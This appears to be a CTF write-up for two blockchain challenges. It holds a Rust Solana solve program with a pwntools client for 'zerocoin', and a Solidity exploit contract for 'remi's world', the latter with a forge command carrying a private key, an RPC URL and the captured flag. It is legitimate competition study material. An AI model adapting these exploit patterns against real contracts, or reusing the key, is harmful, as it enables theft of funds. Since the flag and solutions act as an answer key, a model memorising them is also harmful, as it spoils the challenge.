https://ctftime.org/event/2102
zerocoin
analysis
The challenge requires users to fill their Associated Token Account with any token.
We cannot mint Zerocoin with 1_000_000 native tokens.
Therefore, we should send the native token to the user's ATA and then convert it to wrapped SOL.
https://spl.solana.com/token#example-wrapping-sol-in-a-token
solve
lib.rs
#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
use anchor_lang::prelude::*;
use solana_program::{
account_info::AccountInfo, entrypoint, entrypoint::ProgramResult,
program::{invoke, invoke_signed},
program_pack::Pack,
system_instruction,
};
use zerocoin::cpi;
entrypoint!(process_instruction);
pub fn process_instruction(
_program_id: &Pubkey,
_accounts: &[AccountInfo],
_instruction_data: &[u8],
) -> ProgramResult {
let user = _accounts[0].clone();
let vault = _accounts[1].clone();
let mint = _accounts[2].clone();
let user_token = _accounts[3].clone();
let program = _accounts[4].clone();
let token_program = _accounts[5].clone();
let system_program = _accounts[6].clone();
let native_mint = _accounts[7].clone();
let cpi_accounts = zerocoin::cpi::accounts::Register {
token: user_token.clone(),
vault: vault.clone(),
mint: native_mint.clone(),
zerocoin: program.clone(),
token_program: token_program.clone(),
system_program: system_program.clone(),
};
let cpi_ctx = CpiContext::new(program.clone(), cpi_accounts);
zerocoin::cpi::register(cpi_ctx, *user.key);
invoke(
&system_instruction::transfer(
user.key,
user_token.key,
1,
),
&[
user.to_account_info(),
user_token.to_account_info(),
],
)?;
invoke(
&spl_token::instruction::sync_native(
token_program.key,
user_token.key,
)?,
&[
user_token.to_account_info(),
token_program.to_account_info(),
],
)?;
Ok(())
}
}
solve.py
#!/usr/bin/env python3
from pwn import *
p = remote("127.0.0.1", 5000)
addrs = {}
while True:
name = p.recvuntil(b": ", drop=True).decode()
if name == "program pubkey":
break
key = p.recvline(keepends=False).decode()
addrs[name] = key
addrs['native_mint'] = "So11111111111111111111111111111111111111112"
# can change pubkey to anything else, this is just a randomly generated valid pubkey
p.sendline(b"ExNhUJ35wXCJCD7wtB8BjCpRK5xrD2cLqXXtnsjrWVkE")
# copy solve.so to cwd or change this path to ./solve/sbf-solana-solana/release/solve.so
with open("./solve/target/sbf-solana-solana/release/solve.so", "rb") as f:
solve = f.read()
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)
# can change accounts, s means signer, r/w means readonly/writable
accounts = """
user: sw
vault: -w
mint: -w
user_token: -w
program: -r
token_program: -r
system_program: -r
native_mint: -r
"""
accounts = [l.split(": ") for l in accounts.strip().split("\n")]
p.sendlineafter(b"num accounts: \n", str(len(accounts)).encode())
p.sendline("\n".join(f"{b} {addrs[a]}" for (a, b) in accounts).encode())
# can add data to the instruction
ix_data = b"filler data"
p.sendlineafter(b"ix len: \n", str(len(ix_data)).encode())
p.send(ix_data)
p.interactive()
remi's world
solve
contract Solve {
Remis public remis;
constructor(address _setup) {
Setup setup = Setup(_setup);
address _remis = address(setup.remis());
address _target = address(setup.shady());
remis = Remis(_remis);
for(uint i = 0; i < 10 ; i++) {
remis.openAccount();
remis.sendMoney(10, _target);
}
}
/*
forge create Solve --private-key 0xda34a7faffb463b2897a39ab73f44190878402f60d99dd40d569161c6c83ed37 --rpc-url https://remis-world.chall.lac.tf/fa5ed621-c7e1-4e9b-8fdd-35154e553001 --constructor-args 0x8C71DE458B582A6Ad988645e56700927eaBD8CCa
lactf{irr3v3r5ib1e_d4m4g3}
*/
}
'writeups' 카테고리의 다른 글
osu!gaming 2024 - blockchain (0) | 2024.03.04 |
---|---|
GCC CTF 2024 - web3 (0) | 2024.03.04 |
DiceCTF 2024 Quals - floordrop(blockchain) (0) | 2024.02.05 |
RealWorldCTF 2024 - blockchain(safebridge) (0) | 2024.01.28 |
2024MoveCTF (0) | 2024.01.28 |